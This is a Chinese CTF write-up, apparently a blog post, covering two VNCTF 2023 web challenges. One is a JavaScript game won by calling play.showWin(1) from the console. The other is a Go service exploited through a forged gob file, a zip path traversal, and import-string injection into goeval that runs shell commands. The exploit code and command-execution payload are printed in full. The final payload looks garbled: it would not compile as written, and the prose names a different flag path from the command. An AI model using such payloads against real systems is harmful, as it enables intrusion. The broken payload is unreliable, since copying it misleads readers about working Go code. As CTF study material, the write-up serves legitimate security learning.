概述
VNCTF 2023来袭!癸卯之初,让我们“兔”飞猛进。作为一名主要工作为代码审计的开发人员,我决定在新年伊始转换一下角色,投身CTF比赛,向各位大佬学习前沿思路,鞭策自己持续进步。这次比赛收获颇丰,特此记录总结。
解题过程一

首先是一道签到题。本以为凭借业六水准可以轻松应对,没想到实战中损失了一个大子,立刻意识到事情并不简单。既然题目提示简单,那就优先从源码入手寻找逻辑。
遵循小白原则,我直接打开浏览器开发者工具(F12),寻找可读性较好的文件。很快,在几个文件中找到了关键的输赢判断逻辑:

从代码 play.showWin = function (my){...} 可以看出,当参数 my === 1 时就会判定胜利。这里提供两种直接的方法:
方法一:直接调用方法并传参
在控制台直接执行 play.showWin(1),就能触发胜利条件,弹出包含Flag的对话框。

方法二:复制执行胜利分支代码
另一种思路是找到判定胜利后执行弹出Flag的代码块,直接复制到控制台运行,也能达到相同效果。

第一题顺利解决,算是热身。
解题过程二

第二道题号称“真正的签到”,却让我花费了整整一天时间。作为初次参赛的小白,我着实被当代CTF题目的技术栈多样性震惊了——Web题竟然涉及Rust、Go、PHP、JS等多种语言,这发展速度着实惊人。
言归正传,访问靶场链接后,页面只显示了一个路径:

“上传按钮呢?功能点呢?” 我当时完全懵了,甚至怀疑是不是有隐藏元素。调试了半天无果后,只好求助身经百战的大佬。

经过提醒我才恍然大悟——题目附件里明明提供了源码!我居然眼瞎没看到。拿到源码后,真正的分析开始了。

源码中定义了多个路由:根目录 /、上传 /upload、解压 /unzip 和一个后门 /backdoor。我的初步思路很直接:先上传文件,再解压,最后尝试触发后门逻辑获取Flag。
源码分析
1. 根目录路由与用户初始化
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})
这个方法为用户创建了一个家目录(即页面显示的那个路径),并生成了一个 user.gob 文件。
知识点:Gob编码
Gob是Go语言内置的一种数据结构序列化/反序列化工具,类似于JSON或XML,常用于网络传输或本地存储。这里程序创建了一个包含用户信息(Name: "ctfer", Power: "low")的结构体,并使用Gob编码存入文件。
2. 上传与解压逻辑
上传功能有一个简单的文件后缀黑名单校验:
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
它禁止上传后缀为 .gob 或 .go 的文件。但我们可以上传ZIP压缩包。解压逻辑如下:
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
关键点在于 c.Query("path") 这个参数,它决定了ZIP包解压的目标路径。这个参数需要与后门逻辑配合使用。
上传成功后,页面会显示文件保存路径:

3. 后门逻辑分析
后门路由的代码如下:
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
它会读取家目录下的 user.gob 文件,并解码出 User 结构体。只有当 Power 字段等于 "admin" 时,才会进入核心的 goeval.Eval 函数。
然而,初始生成的 user.gob 中 Power 是 "low"。因此,我们需要构造一个 Power 为 "admin" 的 user.gob 文件,上传并覆盖原始文件。
构造Payload与路径穿越
构造admin权限的user.gob文件的Go代码如下:
// 创建一个 User 实例
user := User{Name: "ctfer", Path: "/tmp/cc305916937566a7e859ad4e3f4ab095/", Power: "admin"}
// 打开文件
file, err := os.Create("user.gob")
if err != nil {
panic(err)
}
// 创建一个 gob 编码器
encoder := gob.NewEncoder(file)
// 将 Person 实例编码并写入文件中
err = encoder.Encode(user)
if err != nil {
panic(err)
}
// 关闭文件
file.Close()
将此文件打包为ZIP(例如user.gob.zip)后上传。
核心难点:路径参数 path
上传后的文件位于 uploads/ 目录下,而要覆盖的家目录 user.gob 在其上级目录。因此,在调用 /unzip 接口时,必须通过 path 参数实现目录穿越。正确的 path 值为 ../。
这个细节让我困惑了很久,甚至在群里咨询了管理员(这算奇怪问题吗?):

经过提醒和反复审视代码,我才绕过了这个弯。总结两点经验:
- 作为出题方,客服ID最好亲切易懂,方便沟通。
- Web安全工作者必须具备在本地搭建、运行和调试代码的能力,否则寸步难行。
突破Eval,实现RCE
成功覆盖 user.gob 文件后,我们进入了 admin 分支,看到了 Good 的输出:

然而,Flag依然没有出现。原来,真正的挑战才刚刚开始。关键在这一行:
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
页面上的 Good 就是第二个参数字符串打印的结果。我们需要深入分析 goeval.Eval 函数的实现,它接受三个参数。第三个参数 pkg 我们可以通过URL参数控制,这成为了注入点。
查看 goeval.Eval 源码的核心逻辑:
func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main
%s
%s
func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0< len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
//defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
//defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
return res, err
这个函数会将传入的代码拼接成一个完整的Go程序,然后在临时目录中编译执行。GitHub上的一条issue评价一针见血,也给了我继续探索的信心:

关键过滤与绕过
代码中有一个关键检查:
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
如果 imports 参数中的字符串包含空格,它会将空格前的部分作为包别名,空格后的部分作为包路径。如果不含空格,则整个字符串会被双引号包裹作为包路径。
起初我误以为这是在过滤空格,其实它的本意是支持 alias “package/path” 的写法。但这也为我们绕过限制提供了思路:使用制表符(\t)替代空格,就能在代码中写入带空格的语句而不被拆分。

最终Payload构造
最终目标是执行系统命令读取Flag文件。经过无数次试错,总结出以下绕过点,都是血泪教训:
- main文件必须有main函数,否则编译失败。
- Go语言的多行注释
/* */ 必须正确闭合。
- 逻辑代码不能写在函数体外。
- 函数调用的括号不能换行,必须保持在一行。
- 空格可以用制表符(
\t)替代。
- 对于需要换行或包含特殊括号的字符串,可以借助
const 变量声明来绕过。
- 单行注释
// 可以注释掉后续无用代码。
${IFS} 是Linux中默认将空格、制表符、换行符作为内部字段分隔符的环境变量,可用来在命令中替代空格。
最终构造的恶意导入语句(pkg参数)Payload示例如下:
"fmt");const(M="os/exec";F="fmt";func%09init(){cmd:=exec.Command("/bin/sh","-c","cat${IFS}/ffffllaaagg");res,err:=cmd.CombinedOutput();fmt.Println(string(res));fmt.Println(err)};//
这段Payload被URL编码后传递。其核心逻辑是:
- 闭合原本的
"fmt" 导入。
- 定义常量,其中包含一个
init() 函数(Go程序启动时自动执行)。
- 在
init() 函数中执行系统命令 cat /flag(假设Flag文件路径)。
- 用
// 注释掉后续可能产生的错误代码。
构造成功的Payload执行后,能够在页面回显中看到命令执行的结果:

总结
- 知识储备:需要具备一定的知识广度,了解不同语言和序列化机制(如Gob)。
- 本地环境:必须拥有相关语言的本地运行和调试环境,专业的IDE能极大提升效率。
- 实践总结:多刷题、多复盘,将踩过的坑和绕过技巧归纳成经验。
这次VNCTF之旅,从一个简单的JavaScript前端签到题,深入到复杂的Go语言后端代码审计与RCE利用,过程曲折但受益匪浅。后续有时间,我还会继续分享更多CTF Web相关的知识点。不说了,领导喊我去改项目BUG了。
本文由云栈社区编辑发布,分享实战经验,助力技术成长。